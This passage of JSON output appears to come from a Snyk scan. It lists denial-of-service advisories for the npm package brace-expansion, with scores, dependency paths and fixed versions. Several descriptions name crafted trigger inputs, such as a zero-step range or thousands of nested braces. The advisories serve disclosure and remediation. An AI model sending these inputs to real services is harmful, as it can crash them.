"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmpack@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmpack@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmpack@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmpack@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmpack@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmversion@6.0.3",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmversion@7.0.0",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
